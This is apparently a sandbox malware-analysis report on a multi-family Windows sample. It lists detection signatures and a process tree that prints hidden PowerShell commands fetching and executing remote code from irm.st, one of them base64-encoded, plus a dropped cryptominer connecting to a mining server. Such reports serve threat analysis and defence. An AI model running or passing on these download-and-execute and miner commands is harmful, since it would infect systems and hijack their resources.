Overview

overview

8

Static

static

3

2026-10-26...lc.exe

windows10-2004-x64

8

2026-10-26...lc.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    123s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/10/2026, 04:30

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-10-26_e2653344845af36b4e46a3fc106985a8_glassworm_icedid_luca-stealer_njrat_stealc.exe
  • Size 3.2MB
  • Sample261027-e47vvs1wbv
  • SHA256 1b8c997a3195a2d996078aa5100c6f489c1e1f30b87c46faad55a339245b2d55
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
executionpersistence

Malware Config

Signatures

  • Badlisted process makes network request 64 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

    Run Powershell and hide display window.

    execution
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 45 IoCs
    persistence
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-26_e2653344845af36b4e46a3fc106985a8_glassworm_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-26_e2653344845af36b4e46a3fc106985a8_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Checks BIOS information in registry
    • Suspicious use of WriteProcessMemory
    PID:1992
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:516
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$id='';for($i=0;$i -lt 6;$i++){$id+=(Get-Random -Minimum 0 -Maximum 10)};iex (irm ('irm.st/'+$id))"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2976
        • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://c2.doxbin.cy:3333 --user x.xmrrig
          4⤵
          • Executes dropped EXE
          PID:3484
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/860056 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3724
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/860056 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1588
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/335573 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4416
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/335573 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:948
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/828053 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3428
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/828053 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:688
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/831781 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3720
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/831781 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:4084
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/352223 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2452
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/352223 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:2600
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/679285 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2860
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/679285 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:5040
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/795583 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1864
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/795583 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:5020
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/827343 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2556
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/827343 | iex"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:5032
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/342856 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:548
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/342856 | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:2840
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/675502 | iex"
    1⤵
    • Badlisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/675502 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:1412
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/580570 | iex"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3264
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/580570 | iex"
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      PID:1932
  • C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    1⤵
      PID:5032
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/122929 | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5056
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/122929 | iex"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        PID:4372
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/832908 | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5080
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/832908 | iex"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        PID:1904
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/287284 | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5024
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/287284 | iex"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        PID:4908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/260924 | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:812
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/260924 | iex"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        PID:1988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/300056 | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:4468
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/300056 | iex"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:2552
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/985739 | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:5104
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/985739 | iex"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        PID:5108
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/991975 | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:2744
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/991975 | iex"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:2904
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/109588 | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:2016
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/109588 | iex"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:2068
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/469877 | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:1248
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/469877 | iex"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        PID:1900
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/300963 | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:4240
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/300963 | iex"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        PID:2200
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/860115 | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:2772
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/860115 | iex"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:1120
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/218525 | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:3528
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/218525 | iex"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        PID:3020
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/834461 | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:4848
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/834461 | iex"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:2996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/498237 | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:2120
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/498237 | iex"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        PID:4784
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/964183 | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:4776
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/964183 | iex"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        PID:1168
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/736757 | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:3052
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/736757 | iex"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:4228
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/853200 | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:1560
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/853200 | iex"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        PID:1868
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/875002 | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:1880
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/875002 | iex"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:3788
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/620552 | iex"
      1⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:1168
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/620552 | iex"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        PID:1096
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/634318 | iex"
      1⤵
      • Badlisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:4908
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/634318 | iex"
        2⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        PID:3164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/334608 | iex"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:3544
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/334608 | iex"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:3092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/528905 | iex"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:2944
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/528905 | iex"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:3452
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/285626 | iex"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4480
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/285626 | iex"
        2⤵
        • Adds Run key to start application
        PID:2384
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/826128 | iex"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4144
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/826128 | iex"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:1904
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/612719 | iex"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:952
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/612719 | iex"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:2068
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/909870 | iex"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4476
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/909870 | iex"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:4364
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/692274 | iex"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:2572
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/692274 | iex"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:4368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/783311 | iex"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:1304
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/783311 | iex"
        2⤵
        • Adds Run key to start application
        PID:4728
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/903151 | iex"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:4784
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/903151 | iex"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:3436
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/448457 | iex"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:3988
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/448457 | iex"
        2⤵
        • Adds Run key to start application
        PID:3172
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/861347 | iex"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:4804
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/861347 | iex"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:4628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/578951 | iex"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:3840
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/578951 | iex"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:3780
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/363302 | iex"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:948
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/363302 | iex"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        PID:1824
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/121199 | iex"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of WriteProcessMemory
      PID:2736
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
